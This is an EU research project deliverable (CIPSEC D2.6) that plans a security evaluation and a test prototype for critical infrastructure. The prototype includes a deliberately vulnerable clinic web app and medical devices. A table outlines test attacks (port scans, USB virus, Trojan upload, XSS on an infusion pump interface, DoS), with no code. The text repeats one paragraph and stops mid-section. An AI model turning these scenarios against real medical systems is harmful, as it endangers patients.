D2.6. CIPSEC Evaluation plan

WP 2. Development of the CIPSEC security framework for Critical Infrastructure environments

CIPSEC

Enhancing Critical Infrastructure Protection with innovative SECurity framework

Due date: 30-April-2018
Actual submission date: 30-April-2018
© CIPSEC Consortium


Call
Digital Security: Cybersecurity, Privacy and Trust
Secure societies. Protecting freedom and security of Europe and its citizens
DS-03-2015: The role of ICT in Critical Infrastructure Protection

Project No 700378
Instrument Innovation action
Start date May 1st, 2016
Duration 36 months
Website www.cipsec.eu
Lead contractor Atos SPAIN S.A.

The research leading to these results has received funding from the European Union’s Horizon 2020 Research and Innovation Programme, under Grant Agreement no 700378.

This deliverable contains original unpublished work except where clearly indicated otherwise. Acknowledgement of previously published material and of the work of others has been made through appropriate citation, quotation or both.

The opinions expressed and arguments employed in this document do not necessarily reflect the official views of the ResearchExecutiveAgency(REA)ortheEuropeanCommission.

This deliverable has been endorsed by Security Advisory Board.
Document contributors

<table>
<thead>
<tr>
<th>Contributors</th>
<th>Reviewers</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ilias Spais, Dimitris Nastos</td>
<td>AEGIS Leonidas Kallipolitis</td>
</tr>
<tr>
<td>Joaquín Rodríguez, Antonio Álvarez</td>
<td>ATOS Rubén Trapero</td>
</tr>
<tr>
<td>Ciprian Oprisa</td>
<td>BD</td>
</tr>
<tr>
<td>Gil Cohen, Omri Sagron, Haim Nachmias</td>
<td>COMSEC</td>
</tr>
<tr>
<td>Panagiotis Sifniadis, Pascal Papagrigoriou, Anargyros Plemenos</td>
<td>EMP</td>
</tr>
<tr>
<td>Manos Athanatos, Christos Papachristos</td>
<td>FORTH</td>
</tr>
<tr>
<td>Manos Athanatos, Christos Papachristos</td>
<td>HCPB</td>
</tr>
<tr>
<td>Ahmad Mohamad, Eva Marín</td>
<td>UPC</td>
</tr>
<tr>
<td>Apostolos Fournaris</td>
<td>UOP</td>
</tr>
<tr>
<td>Francisco Hernández, Denis Guilhot</td>
<td>WOS</td>
</tr>
</tbody>
</table>

Document history

<p>| Version | Date       | Author                                             | Notes                                                      |
|---------|------------|                                                   |                                                            |
| 0.1     | 11-01-2018 | Gil Cohen (Comsec)                                | CIPSEC evaluation plan – table of content draft            |
| 0.5     | 01-03-2018 | Joaquín Rodríguez, Antonio Álvarez (Atos)         | 3.2                                                        |
| 0.6     | 21-03-2018 | Gil Cohen (Comsec)                                | KPI's                                                      |
| 0.7     | 27-03-2018 | Ilias Spais, Dimitris Nastos (Aegis), Joaquín Rodríguez, Antonio Álvarez (Atos), Ciprian Oprisa (Bitdefender), Panagiotis Sifniadis, Pascal Papagrigoriou, Anargyros Plemenos (Empelor), Manos Athanatos, Christos Papachristos (Forth), Ahmad Mohamad, Eva Marín (UPC), Apostolos Fournaris (UOP), Francisco Hernández, Denis Guilh | Section 3 (lead by Atos) |
| 0.8     | 29-03-2018 | Omri Sagron                                       | Introduction, Prototype, Methodology (Drafts)              |</p>
<table>
<thead>
<tr>
<th>Version</th>
<th>Date</th>
<th>Author(s)</th>
<th>Section/Task</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.9</td>
<td>07-04-2018</td>
<td>Haim Nachmias (Comsec)</td>
<td>Security Solution Evaluation (4.2)</td>
</tr>
<tr>
<td>0.91</td>
<td>09-04-2018</td>
<td>Omri Sagron (Comsec)</td>
<td>Prototype (Section 2)</td>
</tr>
<tr>
<td>0.92</td>
<td>10-04-2018</td>
<td>Haim Nachmias (Comsec)</td>
<td>Evaluation Methodology (4.1)</td>
</tr>
<tr>
<td>0.93</td>
<td>10-04-2018</td>
<td>Gil Cohen (Comsec)</td>
<td>Internal review and fixes</td>
</tr>
<tr>
<td>0.94</td>
<td>11-04-2018</td>
<td>Haim Nachmias (Comsec)</td>
<td>Executive Summary</td>
</tr>
<tr>
<td>0.95</td>
<td>20-04-2018</td>
<td>Haim Nachmias, Gil Cohen (Comsec)</td>
<td>Preliminary updates according to Atos &amp; Aegis review</td>
</tr>
<tr>
<td>0.96</td>
<td>29-04-2018</td>
<td>Haim Nachmias, Gil Cohen (Comsec)</td>
<td>Updates according to QA2</td>
</tr>
<tr>
<td>0.98</td>
<td>30-04-2018</td>
<td>Joaquín Rodríguez, Antonio Álvarez (Atos)</td>
<td>Quality Check</td>
</tr>
<tr>
<td>0.99</td>
<td>30-04-2018</td>
<td>Joaquín Rodríguez, Antonio Álvarez (Atos)</td>
<td>Final quality check</td>
</tr>
<tr>
<td>1.0</td>
<td>30-04-2018</td>
<td>Haim Nachmias, Gil Cohen (Comsec)</td>
<td>Ready for submission.</td>
</tr>
</tbody>
</table>
# Index

Glossary ................................................................................................................................................................. 6

List of Figures .................................................................................................................................................. 7

List of Tables ..................................................................................................................................................... 8

Executive Summary ......................................................................................................................................... 9

## 1 Introduction .................................................................................................................................................. 10

1.1 Purpose and scope of the deliverable ................................................................................................. 10

1.2 Structure of the document ................................................................................................................... 10

1.3 Relationship to other project outcomes ............................................................................................. 10

1.4 Methodology ......................................................................................................................................... 11

## 2 Prototype building steps ......................................................................................................................... 12

2.1 Different types of prototypes ................................................................................................................ 13

2.2 CI simulation research & development .............................................................................................. 14

2.3 Prototype installation ............................................................................................................................ 16

  2.3.1 Current prototype components & architecture ........................................................................... 17

  2.3.2 Installation description .................................................................................................................. 21

  2.3.3 Attacking scenarios ....................................................................................................................... 22

    2.3.3.1 Attacking tools ...................................................................................................................... 22

    2.3.3.2 Current attack vectors ........................................................................................................... 23

  2.3.3.2 Plan for prototype evolution ................................................................................................... 27

  2.3.3.2.1 Integrating additional software products ............................................................................ 27

  2.3.3.2.2 Integrating physical hardware products ............................................................................. 28

  2.3.3.2.3 Integrating additional CI environments ............................................................................ 28

  2.3.3.2.4 Adding attacking scenarios ............................................................................................... 28

2.4 Plan for prototype evolution .................................................................................................................. 27

## 3 CIPSEC solution deployment ....................................................................................................................... 30

3.1 CIPSEC components & architecture ..................................................................................................... 30

  3.1.1 CIPSEC components ..................................................................................................................... 30

  3.1.2 CIPSEC architecture ..................................................................................................................... 32

3.2 Deployment description and steps ......................................................................................................... 34

  3.2.1 Acquisition Layer .......................................................................................................................... 34

    3.2.1.1 Antimalware GravityZone ..................................................................................................... 34

    3.2.1.2 Secocard ............................................................................................................................... 40

    3.2.1.3 Honeypots ............................................................................................................................. 49

    3.2.1.4 Hardware Security Module (FPGA Device) ............................................................................ 51

    3.2.1.5 DosSensing (Jamming detector) ............................................................................................ 53

  3.2.2 Detection Layer ............................................................................................................................... 54

    3.2.2.1 XL-SIEM ............................................................................................................................... 54

  3.2.3 Data Processing Layer ..................................................................................................................... 58

    3.2.3.1 Data Anonymization tool ..................................................................................................... 58

    3.2.3.2 Forensics Visualization Tool ................................................................................................. 59

  3.2.4 Presentation Layer .......................................................................................................................... 60

    3.2.4.1 CIPSEC Unified Dashboard .................................................................................................. 60

  3.2.5 Others ............................................................................................................................................ 61

    3.2.5.1 Training Platform .................................................................................................................. 61

    3.2.5.2 Updating & Patching Platform .............................................................................................. 63

CIPSEC: Enhancing Critical Infrastructure Protection with innovative SECurity framework
4 CIPSEC solution assessment & evaluation plan .......................................................................................................................... 64

4.1 Evaluation methodology .................................................................................................................................................... 64
  4.1.1 Evaluation goals .................................................................................................................................................. 64
  4.1.2 Evaluation approach ......................................................................................................................................... 64
  4.1.3 Evaluation phases ........................................................................................................................................... 64
  4.1.4 Evaluation methods ......................................................................................................................................... 65
  4.1.5 Risk Level evaluation ..................................................................................................................................... 66
  4.1.6 CI assessment characteristics .......................................................................................................................... 67

4.2 Evaluation process ............................................................................................................................................................. 67
  4.2.1 Access Control .................................................................................................................................................. 69
    4.2.1.1 Evaluation activities .................................................................................................................................. 69
    4.2.1.2 CIPSEC solutions ..................................................................................................................................... 70
    4.2.1.3 Security KPIs .......................................................................................................................................... 70
  4.2.2 Network Security ................................................................................................................................................... 70
    4.2.2.1 Evaluation activities .................................................................................................................................. 70
    4.2.2.2 CIPSEC solutions ..................................................................................................................................... 71
    4.2.2.3 Security KPIs .......................................................................................................................................... 71
  4.2.3 Endpoint Security .................................................................................................................................................... 71
    4.2.3.1 Evaluation activities .................................................................................................................................. 72
    4.2.3.2 CIPSEC solutions ..................................................................................................................................... 72
    4.2.3.3 Security KPIs .......................................................................................................................................... 72
  4.2.4 Input Validation ....................................................................................................................................................... 73
    4.2.4.1 Evaluation activities .................................................................................................................................. 73
    4.2.4.2 CIPSEC solutions ..................................................................................................................................... 73
    4.2.4.3 Security KPIs .......................................................................................................................................... 73
  4.2.5 Monitoring & Auditing ........................................................................................................................................... 74
    4.2.5.1 Evaluation activities .................................................................................................................................. 74
    4.2.5.2 CIPSEC solutions ..................................................................................................................................... 74
    4.2.5.3 Security KPIs .......................................................................................................................................... 74
  4.2.6 Hardening & Patching ............................................................................................................................................ 75
    4.2.6.1 Evaluation activities .................................................................................................................................. 75
    4.2.6.2 CIPSEC solutions ..................................................................................................................................... 75
    4.2.6.3 Security KPIs .......................................................................................................................................... 75
  4.2.7 Data Encryption ....................................................................................................................................................... 76
    4.2.7.1 Evaluation activities .................................................................................................................................. 76
    4.2.7.2 CIPSEC solutions ..................................................................................................................................... 76
    4.2.7.3 Security KPIs .......................................................................................................................................... 77
  4.2.8 BCP ......................................................................................................................................................................... 77
    4.2.8.1 Evaluation activities .................................................................................................................................. 77
    4.2.8.2 CIPSEC solutions ..................................................................................................................................... 77
    4.2.8.3 Security KPIs .......................................................................................................................................... 78
  4.2.9 Work Processes ......................................................................................................................................................... 78
    4.2.9.1 Evaluation activities .................................................................................................................................. 78
    4.2.9.2 CIPSEC solutions ..................................................................................................................................... 79
    4.2.9.3 Security KPIs .......................................................................................................................................... 79
  4.2.10 Attack Scenarios .................................................................................................................................................... 79
    4.2.10.1 Evaluation activities .................................................................................................................................. 79
    4.2.10.2 CIPSEC solutions ..................................................................................................................................... 80
    4.2.10.3 Security KPIs .......................................................................................................................................... 81

5 Conclusions ................................................................................................................................................................................. 82
Glossary

BCP  Business Continuity Planning
CI  Critical Infrastructure
DoS  Denial of Service
DDoS  Distributed Denial of Service
DMZ  Demilitarized Zone
DR  Disaster Recovery
HA  High Availability
HMI  Human-machine Interface
ICS  Industrial Control System
IDS  Intrusion Detection System
IPS  Intrusion Prevention System
KPI  Key Performance Indicator
PLC  Programmable Logic Controller
RTU  Remote Terminal Unit
SCADA  Supervisory Control and Data Acquisition
SIEM  Security Information and Event Management
SQL  Structured Query Language
WAF  Web Application Firewall
WAN  Wide Area Network
XSS  Cross-site scripting
List of Figures

Figure 1: Prototype Timeline ................................................................................................................................ 12
Figure 2: Prototype Process Illustration ............................................................................................................... 14
Figure 3: Prototype Architecture .......................................................................................................................... 17
Figure 4: Prototype components ........................................................................................................................... 18
Figure 5: Medical Simulator .................................................................................................................................. 19
Figure 6: Medical Devices Prototype Environment ............................................................................................. 20
Figure 7: OWASP Top 10 2017 ............................................................................................................................... 26
Figure 8: CIPSEC Final reference architecture ....................................................................................................... 32
Figure 9: Running the script ................................................................................................................................. 41
Figure 10: Package installation ............................................................................................................................. 41
Figure 11: Successful execution of the script ........................................................................................................ 42
Figure 12: Login with a Smart card ...................................................................................................................... 42
Figure 13: Providing PIN code ............................................................................................................................. 43
Figure 14: Smart Card Logon options ................................................................................................................ 44
Figure 15: Certificate selection............................................................................................................................. 45
Figure 16: Trusted Certificate ............................................................................................................................... 46
Figure 17: Password entry ................................................................................................................................... 47
Figure 18: Successful test .................................................................................................................................... 47
Figure 19: Smart Card credentials ....................................................................................................................... 48
Figure 20: XL-SIEM Configuration ...................................................................................................................... 49
Figure 21: Architecture Design of FORTH’s honeypot solution ........................................................................... 50
Figure 22: Architecture Design of FORTH’s cloud-based IDS solution ............................................................... 51
Figure 23: SD Card Boot Jumper Configuration .................................................................................................. 52
Figure 24: XL-SIEM Composition ....................................................................................................................... 54
Figure 25: XL-SIEM Settling ............................................................................................................................... 55
Figure 26: XL-SIEM Multi-Tenant Configuration ............................................................................................... 57
Figure 27: Data Privacy Tool ............................................................................................................................... 59
Figure 28: UoP training Platform Architecture (based on FORGEBis system) ..................................................... 62
Figure 29: Training Platform new course generation ......................................................................................... 63
Figure 30: Security assessment phases ............................................................................................................ 65
Figure 31: Risk Level factors .............................................................................................................................. 66
Figure 32: Final Risk Level calculation ............................................................................................................... 66
Figure 33: Evaluation Categories ........................................................................................................................ 68
List of Tables

Table 1: GravityZone Services ............................................................................................................................ 34
Table 2: Required vCPU for each GravityZone component ................................................................................. 35
Table 3: Required RAM for each GravityZone component ................................................................................... 35
Table 4: Required Hard-Disk Space (GB) for each GravityZone component ...................................................... 35
Table 5: Required RAM for endpoint installation ................................................................................................. 36
Table 6: Required RAM for endpoint daily usage ................................................................................................. 36
Table 7: Required Hard-Disk Space (MB) for endpoint installation ...................................................................... 36
Table 8: Required Hard-Disk Space (MB) for endpoint daily usage ...................................................................... 36
Executive Summary

Implementing complex security solutions, such as the CIPSEC framework, may require a lot of effort. In order to justify implementation of the framework, to allocate different tools and to provide a full picture of the security level of the tested environment as well as offered mitigation, comprehensive security assessments of the critical infrastructure must be carried out both before and after the deployment of the solution. This deliverable presents a methodology and tests to evaluate the security level of critical infrastructures. In addition, this deliverable presents the CIPSEC solution deployment and the prototype building phases that has been designed to demonstrate the CIPSEC framework.

It should be emphasized that the purpose of the security evaluation, as described in the methodology section, is to evaluate the overall security stance of the critical infrastructure.

The security evaluation process is mostly carried out in a white-box approach, consists of an in-depth assessment of 11 different categories which are detailed in the document, and produces three main products:

1. List of findings. Each finding is rated according to a risk level, which is determined by the potential impact factor and the likelihood factor.
2. Recommendations. Some of the recommendations are expected be covered by deploying the CIPSEC framework (as presented in the document).
3. Numerical indicators, called KPIs (Key Performance Indicators). Besides acting as a metric to evaluate the CI’s security stance, the KPIs will allow us to enumerate all the areas where the CIPSEC package will be of assistance.

Another topic presented in this deliverable is the CIPSEC prototype. At this present stage [M24], the prototype integrates Atos CyberAgent and XL-SIEM, Bitdefender Gravity Zone, Forth Honeypot tool, WOS DoSSensing, and further integration of AEGIS forensics tool is on the verge of implementation. Events from Empelor’s Secocard has been integrated within the framework, however physical tests are still pending. We have achieved first interim outcomes for Unified CIPSEC dashboard. Several technical attacks, which are expected to be detected or prevented by the CIPSEC solutions, are presented in the appropriate section. The final phase of the prototype should contain all of the CIPSEC framework components, and is due to M32 (December 2018).

Additionally, this deliverable presents the detailed process of the CIPSEC solution deployment. The installation of each of the products is described thoroughly, as well as the training platform and the updating platform.
1 Introduction

1.1 Purpose and scope of the deliverable

The main purpose of the deliverable is to define the CIPSEC evaluation plan for critical infrastructures. The evaluation will span over a wide range of categories such as access control, endpoint security and work procedures. Throughout the evaluation process, we will highlight the potential value that can be gained by implementing the CIPSEC framework. This deliverable will also contain metrics for evaluating the security stance of the critical infrastructure, called KPIs (Key performance Indicators).

Another purpose of this deliverable is to present the building steps of the CIPSEC prototype. The prototype goal is to offer a testing environment where we can demonstrate how the CIPSEC framework components are able to detect and prevent potential cyber-attacks. The current status of the prototype will be presented, as well as the technical attacking scenarios to be performed and future evolution.

A third purpose of this deliverable is to describe the deployment steps of CIPSEC framework. For every CIPSEC component, this description will contain the relevant diagrams, hardware requirements, dependencies, and actual deployment steps.

1.2 Structure of the document

This deliverable is structured in the following way:

- Section 2 presents the CIPSEC prototype building steps. This section describes the prototype components, the attacking scenarios and its future evolution divided into phases.
- Section 3 describes the CIPSEC solution deployment. It consists of a general description of the CIPSEC framework, followed by detailed deployment steps for every component, starting with the lower layers of the reference architecture and continuing towards the upper layers.
- Section 4 describes the security evaluation process. It consists of two sub-sections:
  - Subsection 4.1 thoroughly presents the evaluation methodology. Goals, evaluation methods, KPIs and other relevant topics are explained in this subsection. This subsection acts as a common ground and is critical to clarify any potential misunderstandings.
  - Subsection 4.2 describes the actual evaluation process. This section consists of the evaluation tests, CIPSEC solutions that address the tests and security KPIs.
- Section 5 concludes the deliverable.

1.3 Relationship to other project outcomes

This document is the outcome of the coordinated work between T2.1 and T2.4. It also relies on deliverables D2.1, D2.2, D2.3, D2.4 and D2.5 which detail the CIPSEC framework architecture and components (both products and services). This gives an intermediate version of the prototype that will be finished in the context of T2.5, the final prototype release is estimated to be ready by M32.

There is also a connection with CI environments, as the deployment of CIPSEC products in the pilots allows to test the prototype in real CI environment, not only in fake ones. So there is a relationship to tasks T3.1, T3.2 and T3.3.

In T2.4 several tests are defined, T4.1 continues this activity and the actual execution of tests will be done during the final year of the project in the context of WP4.

The prototype's progress is made in parallel to the pilots’ progress. Whenever possible, when a pilot's environment is deployed, the components of this environment are connected to the prototype (temporally) to add more realism whenever showing the prototype. This was the case with HCB (T3.2) where physical components (pump, fingerprint scanner) were connected to the prototype.
1.4 Methodology

The overall writing process of this deliverable, as well as the prototype section and evaluation section were led by Comsec. The solution evaluation is based on the Comsec's vulnerability assessment service methodology, as described in section 4.1.

The solution deployment passage (Section 3) was led by Atos, with every partner contributing its part to the relevant component description.
2 Prototype building steps

The Prototype is a dedicated environment of critical infrastructure and the components of CIPSEC framework mainly installed on a laptop. Due to hardware limitations some tools are deployed on Cloud and have been integrated with those installed on laptop.

The main goal of this task is the derivation and evaluation of default settings - a fully function prototype. It will be used as part of the training as well as for demonstrations, conferences and so on – any dissemination and PR activities. The prototype is under deliverable – D2.6 (M24).

The prototype should demonstrate the CIPSEC framework and the value of protecting critical infrastructure, the prototype will include the following among others:

- Feasibility of integrating the products brought to CIPSEC by the partners into a framework.
- Show the benefit brought by the products working together.
- The value of the integrated framework is higher than that of the sum of the individual products.
- Show protection capabilities in a wide range of risk scenarios.
- Show examples of deployment in a lab environment.
- Act as a fully operational demo environment for demonstrations and trainings.

The strategy to produce the integrated prototype is by using the architecture presented in D2.2 and updated in D2.5 as a reference and guideline for integration. The integration of the products is done in three stages:

- Distributed work environment to ease the integration among components and speed up the team work.
- Located work environment to simulate a client critical infrastructure and test diverse attacks.
- Continuous feedback with the pilot definition activity in WP3.

The timeline to finish the task is:

<table>
<thead>
<tr>
<th>M18</th>
<th>October 2017: Baseline</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>ATOS, BD, FORTH, WOS assets are integrated</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>M24</th>
<th>April 2018: 1st SW Release</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Integrate AEGIS visualization tool.</td>
</tr>
<tr>
<td></td>
<td>Integrate the events coming from EMP Secocard.</td>
</tr>
<tr>
<td></td>
<td>Design and development of CIPSEC Unified Dashboard</td>
</tr>
<tr>
<td></td>
<td>Intermediate orchestration with services</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>M32</th>
<th>December 2018: 2nd SW Release</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Integrate UPC privacy tool</td>
</tr>
<tr>
<td></td>
<td>Integrate the events coming from UOP HSM</td>
</tr>
<tr>
<td></td>
<td>Integrate all solutions into Unified Dashboard</td>
</tr>
<tr>
<td></td>
<td>Final orchestration with services</td>
</tr>
<tr>
<td></td>
<td>Prototype with full capabilities</td>
</tr>
</tbody>
</table>

Figure 1: Prototype Timeline
2.1 Different types of prototypes

The Prototype contains three elements:

1. CIPSEC Framework – the protection side
2. Critical infrastructure – the asset
3. Hacking tools – the attacker side

There are three different steps that will produce two types of prototypes.

The different steps are:

1. Virtual machines prototype built on top of a clean environment installed by each partner, with the software based solutions only. In parallel to this step, a research takes place in order to find virtual fake VM-based CI environment.
2. Virtual machines prototype built on top of a fake critical infrastructure environment with the software based solutions only. This step produces a complete functional software-only VM-based prototype. This will produce the first type of prototype.
3. Physical environment prototype built on top of a fake critical infrastructure environment, with hardware components combined with virtual machines of the partner’s solutions. In the last step, all the hardware solutions will be added to the prototype as an optional component whenever a full demo is needed. This will produce the second prototype.

The 2 different prototypes will include a virtual-only prototype as well as a combined virtual-physical prototype:

1. Virtual machines prototype built on top of a fake virtual critical infrastructure environment
   - Advantages:
     a. Cheaper.
     b. Easy to implement and duplicate.
     c. Mobility.
     d. Simulate a real environment.
   - Disadvantages:
     a. Do not suitable to all the partner’s solutions, only to those based on software implementation in a virtual machine.
     b. Takes a bit longer to build the CI environment.

2. Combined physical and virtual environment prototype
   - Advantages:
     a. Suitable to all the partner’s solutions (hardware & software based).
     b. Simulate a real CI environment.
   - Disadvantages:
     a. Expensive.
     b. Takes a bit longer to build the CI environment.
     c. Complicated.
     d. Located only in one (or more) limited location.
     e. Hard to duplicate.
Currently both virtual prototypes are partially built, with an active early prototype demo having already taken place. Phase 1 of building the prototypes as clarified in section 2.3 is over.

2.2 CI simulation research & development

The environment contains simulation of software installed on a VM (virtual prototype) or a laboratory with real components (combined virtual and physical prototype). Comsec Group did a research regarding virtual environments and physical components that we should integrate into the prototype and the conclusions are:

1. The prototype should contain mainly virtual machines with simulators of critical infrastructure.
2. Pilots Agnostics - The simulators can and should simulate different kinds of critical infrastructure environment in order to make the prototype pilot agnostic.
3. Full physical environment of CI will have too many limitations like internet connectivity and maintenance.
4. The physical components of the CI in the prototype should be small, mobile and easy to connect to a computer.
The following simulators were found during the research:

- **GSS FREE50**
  - Full-featured SCADA System
  - +70 PLC drivers
  - Can be executed in “Demo-Mode” - which gives a pre-configured IGSS project including several mimic diagrams from different industries.
  - Another option is to build a new project from scratch and test it with real PLC data:
    - Collect real data for one hour
    - Define objects in an IGSS project
    - Use one of the numerous PLC drivers supported

- **PLC Simulator**
  - PLC Simulator with ModBus, for PLC and SCADA developers
  - Open source, completely distributable and free of rights
  - Works in conjunction with Microsoft Excel to analyze results

- Other similar applications like PLC Simulator: LogixPro-500 PLC Simulator, Swansoft PLC or EIS Simulation.

In addition, the several testing distributions were found during the research such as **Moki Linux** and **SamuraiSTFU**. These details are described as part of section 2.3.3 (attacking scenarios) later on.

---

1 http://www.7t.dk/products/igss/download/free-scada.aspx
2 https://en.freedownloadmanager.org/Windows-PC/PLC-Simulator-FREE.html
4 http://swansoft-plc.software.informer.com/
5 https://mycalit.insead.edu/eis/
6 https://github.com/moki-ics/moki
7 http://www.samuraistfu.org/
2.3 Prototype installation

The installation of the prototype should be easy, fast and agnostic. In order to make sure that the prototype could be installed on different laptops and environments, it will be based on virtual machines and cloud connectivity to cloud based tools and dashboards of the framework, and later on physical parts would be integrated into the combined physical and virtual prototype.

Phased integration:

<table>
<thead>
<tr>
<th>Prototype</th>
<th>Tools</th>
<th>Schedule</th>
</tr>
</thead>
</table>
| **Phase 1** (Baseline Prototype) | - Integrate ATOS XL-SIEM + BITDEFENDER GravityZone+ FORTH Honeypot + COMSEC vulnerability SERVICE for testing the First CIPSEC Baseline Prototype.  
- Integrate First CIPSEC Baseline Prototype + WOS jamming detector.  
- Intermediate integration of ATOS XL-SIEM and AEGIS Forensics Visualization Tool | October 2017 [M18]  
(1st CIPSEC Review) |
| **Phase 2** | - Integrate AEGIS Forensics Visualization Tool + [EMP] events with First CIPSEC Baseline Prototype  
- Intermediate integration of the rest of services (Contingency, Updating and Patching, Training, Forensics)  
-Design and development of CIPSEC Unified Dashboard | April 2018 [M24]  
(D2.5 1st SW Release)  
(*First interim results*) |
| **Phase 3** | Full capabilities prototype after completing the integration of UOP HSM and UPC Anonymization tool, and rest of services. | December 2018 [M32]  
Framework should be ready for validation activities  
Prototype Demonstration & Field trials results  
(2nd Review)  
(Final SW release) |
2.3.1 Current prototype components & architecture

The current prototype based mostly on virtual environment deployed on Comsec's laptop with virtual machines, with some physical HCB components on one variation of the prototype.

Reference architecture:

Current Prototype Components (including physical components):

1. Atos – CyberAgent and XL-SIEM
2. Forth – Honeypot – VM on the laptop
3. Bitdefender GravityZone – installed on a web server
4. Windows Server 2012 – the victim target
5. Medical Devices Simulator – Web Application – CLINIC
6. Cameras from AXIS - P33 series one
7. Fingerprint scanners from DORLET - single 40-BIO reader
8. Pumps from BD-CAREFUSION - ALARIS GH PLUS
9. AEGIS – Visualization and forensics (TBD by the end of April 2018).
10. COMSEC - Attacker – Kali Linux, Samurai.

2 http://www.dorlet.com/docs/13243000%20Lector%2040-BIO.pdf
11. CIPSEC Unified Dashboard. UPC leads its development. This dashboard will orchestrate different GUI from CIPSEC solutions and will be the CIPSEC’s entrance door.

Figure 4: Prototype components
The Target: Medical Devices Simulator – Web Application – CLINIC.

“The Cyber Clinic” application developed by Comsec in order to simulate a vulnerable UI of clinic system including well known vulnerabilities such as:

- XSS
- Injections
- Malicious File Upload

Critical infrastructure in general and specifically medical devices have web-based user interfaces that are accessed via a web browser. “The Cyber Clinic” application simulate venerable application and the attack scenarios of the prototype take advantage of the application in order to generate an attack on the prototype and to evaluate the protection process by CIPSEC framework.

![Medical Simulator](image_url)

**Figure 5: Medical Simulator**
Medical and IoT Devices Environment Architecture:

**Figure 6: Medical Devices Prototype Environment**
Medical Devices as Target Victims:

<table>
<thead>
<tr>
<th>AUDIOVISUALS</th>
<th>1 Codec streaming video MATROX</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>1 Codec streaming videoconference AVAYA</td>
</tr>
<tr>
<td>SECURITY</td>
<td>1 Surveillance camera AXIS(^1) (POE)</td>
</tr>
<tr>
<td></td>
<td>1 Biometric reader DORLET(^2) + 1 Controller</td>
</tr>
<tr>
<td></td>
<td>1 UHF Antenna + 1 Reader RFID</td>
</tr>
<tr>
<td></td>
<td>1 Temperature and gas concentration sensor SPY-RF + 1 Router receptor</td>
</tr>
<tr>
<td>MAINTENANCE</td>
<td>1 Thermostat (or similary) + 1 Controller SCADA SCHNEIDER or SIEMENS</td>
</tr>
<tr>
<td>COMMUNICATION</td>
<td>Pumps from BD-CAREFUSION(^3) - ALARIS GH PLUS</td>
</tr>
<tr>
<td></td>
<td>1 Access Point Wi-Fi CISCO (POE)</td>
</tr>
<tr>
<td></td>
<td>1 IP Phone YEALINK (POE)</td>
</tr>
<tr>
<td>IT</td>
<td>1 Standard nursing or maintenance Tablet</td>
</tr>
<tr>
<td></td>
<td>1 Desktop PC</td>
</tr>
</tbody>
</table>

2.3.2 Installation description

The components of the prototype have been installed by each partner with dedicated installation phases for CIPSEC prototype framework. Each component installed has the following specifications and requirements:

**Laptop specifications and requirements**

**Description:**

- **Intel Processor i7-7600U CPU @ 2.80GHz**
- **RAM:** 16 GB
- **System Type:** 64-bit
- **OS:** Windows 10

**VMware Workstation specifications and requirements**

**Description:**

- **Forth Honeypot VM:**
  - **RAM:** 2 GB
  - **HD:** 50 GB
  - **Processors:** 1
  - **Network Adapter:** NAT

- **Windows Server VM:**
  - **RAM:** 4 GB
  - **HD:** 120 GB
  - **Processors:** 2
  - **Network Adapter:** NAT

---


2.3.3 Attacking scenarios

2.3.3.1 Attacking tools

There are multiple tools (automatically and manually) we will use in order to test the environment and try to penetrate to the critical infrastructure while the CIPSEC Framework should prevent, detect and protect against those attacks.

**Attack Distributions:**

- **Moki Linux**: Moki is a modification of Kali to incorporate various ICS/SCADA Tools scattered around the Internet, to create a customized Kali Linux geared towards ICS/SCADA pentesting professionals.

- **SamuraiSTFU**: (Taken from the project’s website)

  SamuraiSTFU takes the best in breed security tools for traditional network and web penetration testing, adds specialized tools for embedded and RF testing, and mixes in a healthy dose of energy sector context, documentation, and sample files, including emulators for SCADA, Smart Meters, and other types of energy sector systems to provide leverage a full test lab.

  - Open source Linux distribution specifically for Electric Utility security teams
  - Attack tools for SCADA and Smart Grid systems
  - Based on the experience of developing SamuraiWTF
  - Specialized tools for embedded and RF testing
  - Emulators for SCADA, Smart Meters, and other types of energy sector systems
  - Include "cream of the crop" free and open source tools for all aspects of SG Pentesting
    - Best web PT tools (small subset of SamuraiWTF)
    - Best network PT tools (small subset of Backtrack)
    - Best hardware PT tools (not currently included on any distribution)
  - Extra features designed for utility security teams and security firms trying to gain utility experience:
    - Include documentation on tools, architecture, methodology, and protocols

1 https://github.com/moki-ics/moki
2 http://www.samuraistfu.org/
2.3.3.2 Current attack vectors

The current attack vectors we use so far:

<table>
<thead>
<tr>
<th>#</th>
<th>Attack type</th>
<th>Attack Vector</th>
<th>Detected by</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Network related attacks</td>
<td>Ports scan &amp; intense scans</td>
<td>FORTH, Atos Sensors</td>
</tr>
<tr>
<td>2</td>
<td>Network related attacks</td>
<td>Infrastructure related attack exploitation attempts</td>
<td>FORTH, Atos Sensors</td>
</tr>
<tr>
<td>3</td>
<td>Endpoint related attacks</td>
<td>Insertion of a USB drive with a virus to the PC</td>
<td>BD, Aegis Sensors monitors CPU load and number of process.</td>
</tr>
<tr>
<td>4</td>
<td>Endpoint related attacks</td>
<td>Malicious file download – drive by download</td>
<td>BD</td>
</tr>
<tr>
<td>5</td>
<td>Web application related attacks</td>
<td>Upload a binary Trojan virus to the server</td>
<td>BD</td>
</tr>
<tr>
<td>6</td>
<td>Web application related attacks</td>
<td>XSS – to insert a malicious script to the infusion pump</td>
<td>BD</td>
</tr>
<tr>
<td>7</td>
<td>Denial of Service</td>
<td>DoS on Medical Devices</td>
<td>FORTH, Atos Sensors</td>
</tr>
</tbody>
</table>

**Network related attacks – Attack vector #1 and #2**

- **Network Scans - Ports scan & intense scans**

  **Description:**
  
  Network scanning refers to the use of a computer network to gather information regarding computing systems. Network scanning is mainly used for security assessment, system maintenance, and also for performing attacks by hackers. The most common network scans are IP and port scans.

  The purpose of network scanning is as follows:

  1. Recognize available UDP and TCP network services running on the targeted hosts
  2. Recognize filtering systems between the user and the targeted hosts
  3. Determine the operating systems (OSs) in use by assessing IP responses

- **Network Scans - Ports scan & intense scans**

  **Description:**
  
  Network scanning refers to the use of a computer network to gather information regarding computing systems. Network scanning is mainly used for security assessment, system maintenance, and also for performing attacks by hackers. The most common network scans are IP and port scans.

  The purpose of network scanning is as follows:

